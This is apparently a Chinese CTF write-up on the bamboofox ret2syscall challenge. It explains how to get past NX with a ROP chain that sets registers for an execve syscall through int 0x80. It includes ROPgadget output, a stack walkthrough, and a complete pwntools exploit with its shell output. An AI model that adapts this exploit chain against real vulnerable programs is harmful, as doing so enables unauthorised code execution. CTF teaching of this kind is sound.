前言:
本例题会使用ROP技术来绕过堆栈不可执行保护(NX保护),随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。一般的这些小片段是以ret结尾,以便形成一整条ROP链。
学习讲究逐步深入,我们回顾上两篇文章:
ret2text——程序中有system("/bin/sh")代码段,控制流执行
ret2shellcode——程序中不存在system("/bin/sh/")的代码段,自己恶意填入代码并在可执行段执行
本次:ret2syscall——程序中不存在system("/bin/sh/")的代码段,不存在合适的可执行段进行恶意代码的执行,但是程序没开启PIE,且程序中中存在代码片段,拼接可组成系统调用。
系统调用有些抽象。这就好比是一个函数,选好了合适的函数名(某个特殊寄存器的特殊的值),你设定好了参数(其他寄存器的特殊的值),并call 这个函数(一个特殊的语句),就能够执行这个函数(产生作用)。
execve()的底层实现就是第0xb号系统调用,具体细节如下:
系统调用号,即 eax 应该为 0xb,因为是execve所以是0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
使用int 80执行系统调用,这也是execve("/bin/sh/",NULL,NULL)的底层效果,返回了shell。
例题:bamboofox-ret2syscall
分析:
IDA查看溢出问题:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
main函数里gets函数处发现明显的溢出问题 。然后通过pwndbg计算出padding长度为112。
checksec看保护:
图1
从图1发现是静态链接的,所以符号非常多。开了NX保护,就不能向栈上注入了shellcode了。没开PIE所以地址固定,这对ROP非常方便。
使用ROPgadget寻找gadgets:
最重要的需要有触发系统中断的int 80语句:
┌──(hath㉿kali)-[~/Desktop/CTF/bamboofox-ret2syscall]
└─$ ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
Unique gadgets found: 1
查找设置寄存器的gadgets:
└─$ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
选第三行的这个 因为其他的影响其他寄存器。
执行ROPgadget 命令寻找gadgets,然后发现下面的gadget一条就解决剩余三个寄存器的问题
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
用ROPgadget --binary rop --string '/bin/sh'寻找是否有/bin/sh字符串。
ROPgadget --binary rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
栈帧结构变化:
估计同学们会看不懂为什么这个构造栈帧结构,或者说在main函数返回的时候这个栈是怎么样的,它的栈顶在哪里?为什么执行完gadget_eax_addr后栈顶指针esp正好指在0xb的位置?所以我决定展示一下:布局的栈结构是如何动态变化的。
基于上述的gadgets我们可以设计栈帧结构:
图2
图2是我们设计的栈帧结构,这是通过gets函数读入后(gets函数已经返回),但是main函数还没返回时的样子)。注意我们通过缓冲区溢出破坏的时main函数的栈结构,不是gets函数的!缓冲区v4是main函数里的局部变量,它被溢出首先被破坏的就是main函数的栈。
正常函数返回后其栈也会被清理,这叫做栈平衡机制,实现原理基本上就是在编译阶段一个函数push对应一个pop,等函数结束了正好也pop完。当然有的push、pop是通过add esp实现的,调整栈顶指针可比你一个个的push、pop快多了,实际上要复杂一点:比如根据调用约定(_cdel、_stdcall、fastcall、thiscall)的不同谁来清理栈帧结构也有区别,这里不展开讲,你就当作谁建立谁清理。
首先函数返回的时候最后一步是pop ebp;ret指令,咱们虽然破坏了函数的栈帧其实是破坏了函数的一些保存在栈里的寄存器内容,但是栈里边有多少字节程序是知道的;或者说是编译阶段就确定了应该是多大,即使它是动态变化的。
所以当函数执行完,开始准备清理栈帧结构返回的时候,因为栈平衡的原因esp会指向old ebp,old ebp一般会被我们覆盖成字符‘AAAA’,所以pop ebp完成后%ebp=0x65656565。然后esp = esp+4,这时候esp指向的就是gadget_eax_addr的地址了。
执行完pop ebp后如图所示:蓝色的地方是被清理的栈结构
图3
这时候要执行ret指令了(刚才说了返回前最后一步是pop ebp;ret,现在是ret指令了)
ret 指令实际上是分了两步:pop eip + jmp eip。eip寄存器里边存放的是即将执行的下一条指令,改变eip就可以改变程序流程。
好吧,执行完pop ebp后咱们的esp指针指向了gadget_eax_addr,一旦ret完成后就有eip = gadget_eax_addr;esp = esp+4。程序的执行流也会被更改到pop eax;ret;的gadget上
执行过ret 后的栈帧结构如图4:蓝色是以及被清理掉的栈帧部分
图4
然后 继续执行完pop eax后,此时%eax = 0xb,esp = esp+4,执行完pop eax后的栈帧结构如图5:
图5
又到了ret的时候了,我们知道ret就是两步,就是将esp=esp+4 ,然后更改程序执行流,一旦ret完成esp就+4,然后eip = edx_ecx_ebx_addr,程序即将跳转到pop edx ;pop ecx;pop ebx; ret处执行。ret执行完如图6:
图6
之后继续向下执行三个pop命令,exp会依次+4,当执行完pop ebx后栈帧如图7:
图7
然后即将执行的是ret指令,再ret依次就是将int 80的地址放到eip寄存器里,ret完后就要执行软中断交给内核,我们也就能获得权限了:
图8
exp:
#!/usr/bin/env python
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
运行结果:
┌──(hath㉿kali)-[~/Desktop/CTF/bamboofox-ret2syscall]
└─$ python exploit.py
[+] Starting local process './rop': pid 63903
/home/hath/Desktop/CTF/bamboofox-ret2syscall/exploit.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
payload = flat(
[*] Switching to interactive mode
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
$ ls
exploit.py rop rop.c rop.idb